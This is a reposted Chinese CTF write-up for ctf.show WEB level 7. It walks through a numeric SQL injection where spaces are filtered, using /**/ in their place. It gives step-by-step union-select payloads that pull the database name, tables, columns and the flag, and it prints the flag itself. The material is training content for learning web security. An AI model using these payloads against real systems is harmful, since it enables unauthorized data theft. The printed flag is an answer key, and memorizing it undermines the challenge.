ctfshow-WEB-web7
【摘要】
ctf.show WEB模块第7关是一个SQL注入漏洞,注入点是数值型注入,源码中过滤了空格,我们可以使用括号()或者注释/**/来代替空格
页面中有一个文章列表,随便点一个
从url地址栏中可以看到,页面通过文章的id值来查询文章内容,我们可以考虑SQL注入漏洞
...
ctf.show WEB模块第7关是一个SQL注入漏洞,注入点是数值型注入,源码中过滤了空格,我们可以使用括号()或者注释/**/来代替空格
页面中有一个文章列表,随便点一个
从url地址栏中可以看到,页面通过文章的id值来查询文章内容,我们可以考虑SQL注入漏洞
首先判断注入点,输入以下payload,使SQL恒成立
1/**/and/**/1
可以看到,页面正常显示
在输入以下payload,使SQL恒不成立
1/**/and/**/0
可以看到,页面空显示
由此可以判断页面存在SQL注入,注入点为数值型注入,页面中有显示位,可以尝试联合注入进行脱库
先来判断显示位,此处id传一个-1,由于id通常不为负数,后端根据id查询不到内容,就只能展示联合查询的结果,从而帮助我们判断字段显示的位置
-1/**/union/**/select/**/1,2,3
接下来判断当前使用的数据库,盲猜flag就藏在当前使用的数据库中
-1/**/union/**/select/**/1,database(),3
当前使用的数据库是web7
接下来获取当前数据库中的所有表
-1/**/union/**/select/**/1,(select/**/group_concat(table_name)from/**/information_schema.tables/**/where/**/table_schema="web7"),3
有一个flag表,那flag肯定就藏在这个表里面
接下来获取flag表中的所有字段
-1/**/union/**/select/**/1,(select/**/group_concat(column_name)from/**/information_schema.columns/**/where/**/table_schema="web7"/**/and/**/table_name="flag"),3
flag表中只有一个flag字段
接下来查询flag表的flag字段,获取flag
-1/**/union/**/select/**/1,(select/**/flag/**/from/**/flag),3
成功获取flag
将全部内容复制到输入框中,提交flag即可过关
ctfshow{aced2bcb-bf9d-4e92-a8f7-2019f63ca4df}
文章来源: blog.csdn.net,作者:士别三日wyx,版权归原作者所有,如需转载,请联系作者。
原文链接:blog.csdn.net/wangyuxiang946/article/details/119850344
【版权声明】本文为华为云社区用户转载文章,如果您发现本社区中有涉嫌抄袭的内容,欢迎发送邮件进行举报,并提供相关证据,一经查实,本社区将立刻删除涉嫌侵权内容,举报邮箱:
cloudbbs@huaweicloud.com
- 点赞
- 收藏
- 关注作者
评论(0)